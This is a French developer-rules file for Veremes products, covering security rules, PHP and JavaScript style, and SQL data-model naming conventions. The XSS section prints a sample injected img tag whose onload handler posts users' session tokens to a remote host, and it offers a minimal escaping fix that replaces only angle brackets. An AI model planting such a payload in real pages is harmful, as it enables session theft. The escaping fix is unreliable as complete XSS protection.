regles_developpement.md

# Règles de développement Veremes

Ce document décrit les différentes règles qui doivent être respectées lors des
développements sur les produits Veremes.


## Sécurité

Les règles les plus importantes sont celles liées à la sécurité ; tout écart à
ces directives pourrait créer des failles de sécurité et mettre en danger les
exploitants des applications Veremes.

### JavaScript

- **Utiliser ajaxRequest :** il est interdit d'utiliser des fonctions du type
$.ajax, $.get, $.post (Jquery) ou $http (AngularJS). **Toutes les requêtes de type
ajax doivent passer par la fonction ajaxRequest** qui va vérifier la bonne
utilisation du token, écrire des logs, etc.
- **Ne jamais passer le token dans l'URL :** une personne mal intentionnée ayant
accès au réseau d'un utilisateur d'application Veremes pourrait récupérer ce
dernier en "sniffant" le réseau (communément appelé "man in the middle").
Pour éviter ceci, il faudra utiliser la fonction ajaxRequest.
- **Ne pas permettre les injections XSS :** une injection XSS, c'est quand un
utilisateur saisit sur l'application du code HTML ou JavaScript qui sera
interprété lors de l'utilisation de cette dernière. Exemple :
```
<img src=".." onload="$.post("http://...", {data: sessionToken})">
```
Le code ci-dessus pourrait envoyer les tokens de tous les utilisateurs à un
serveur distant, y compris ceux des administrateurs ! Pour pallier à ceci, il faut
utiliser AngularJS ou utiliser le code suivant :
```
sMaChaine.replace(/</g, "&lt;").replace(/>/g, "&gt;");
```

### PHP
- **Ne jamais concaténer une variable dans une requête SQL :** ce type de
comportement peut ouvrir des failles de type SQLi (injection SQL) qui font
partie des failles les plus critiques. Pour pallier à ça **il faudra utiliser la
fonction executeWithParams()** de la classe BD et passer les variables en JSON.
Tout est documenté [ici](web_services.md).
- **Utiliser les droits PostgreSQL :** la gestion de l'accès à une ressource se
fera toujours sur deux niveaux (PHP et PostgreSQL). Si on se limite à PHP, une
personne mal intentionnée pourrait, au travers d'une autre ressource, accéder à la
table ; si on se limite à PostgreSQL, les erreurs remontées risquent de ne pas
être bonnes.


## Style PHP/JavaScript

Afin que le code soit cohérent, compréhensible et robuste, les développeurs
doivent suivre certaines règles lors de leurs développements.

- **Indentation :** un code compréhensible est un code indenté ; pour cela, nous
utilisons la fonction d'indentation automatique de Netbeans avec 4 espaces
par indentation.
- **Ne pas dupliquer de code :** il ne faut jamais dupliquer du code car ce
genre de comportement est très difficile à maintenir.
- **Utiliser les fonctions génériques :** il faut éviter de créer des fonctions
chacun dans son coin et utiliser des fonctions génériques le plus souvent
possible afin d'éviter les duplications de code.
- **Commentaires :** il faudra écrire des commentaires au moins **pour chaque
fonction** sous le modèle de commentaires **JSDoc/PHPDoc**, et au moins un
commentaire toutes les 8 lignes de code pour expliquer ce que l'on fait.
- **Nommage :**
    - Il faut éviter l'utilisation d'abréviations.
    - Chaque variable devra être précédée par son type (ex: aTableau, sChaine,
        iEntier, oObjet).
    - Les noms des classes commencent toujours par une majuscule.
    - Les fonctions et les variables (constantes non incluses) commencent toujours par
    une minuscule.
    - Les noms des constantes sont en majuscules.
    - Les fonctions et variables privées se terminent par un underscore.
    - Il faut utiliser d’abord la simple quote, puis la double quote.
- **Spécificités JavaScript :**
    - Utiliser **this_**: pour pointer sur l'objet en cours dans une fonction
    anonyme, il est conseillé de créer la variable this_ = this pour l'utiliser
    dans la fonction.
    - Utiliser **prototype** pour créer les fonctions.
    - Écrire **@export** où **@private** dans le commentaire d'une fonction
    pour spécifier si elle est publique ou privée lors de la compilation.


## Modèle de données SQL

### Procédure

Pour écrire ou modifier dans le modèle de données, il faut toujours respecter la
procédure suivante :
1. Écrire dans Visual Paradigm
2. Faire valider par Olivier, Yoann ou Armand
3. Écrire le code SQL correspondant dans le fichier queries.xml en mentionnant
son nom, la date et l'heure

### Règles

- **Modifications :** il est interdit de faire des modifications sur les versions précédentes.
- **Suppressions :** il est interdit de supprimer une colonne, une table ou une vue ; il faudra
créer une nouvelle si besoin et commenter l'ancienne en DEPRECATED.
- **Nommage:**
    - Il faut éviter l'utilisation d'abréviations.
    - Les noms des tables doivent être en minuscules.
    - Toute table contient un identifiant sous le modèle id_[nom de l'objet].
    - Les tables de relation s'écrivent [table1]\_[table2].
    - Les tables constantes (non éditables depuis l'interface) s'écrivent rt\_[table].
    - Les contraintes de type clés étrangères s'écrivent fk\_[table 1]\_[table 2].
    - Les contraintes de type clés primaires s'écrivent pk\_[nom de la colonne].
    - Les colonnes géométriques doivent toujours être sous la contrainte du
    type de géométrie et de la projection.
    - Il ne faut pas utiliser d'underscores sauf dans les cas spécifiques cités
    ci-dessus.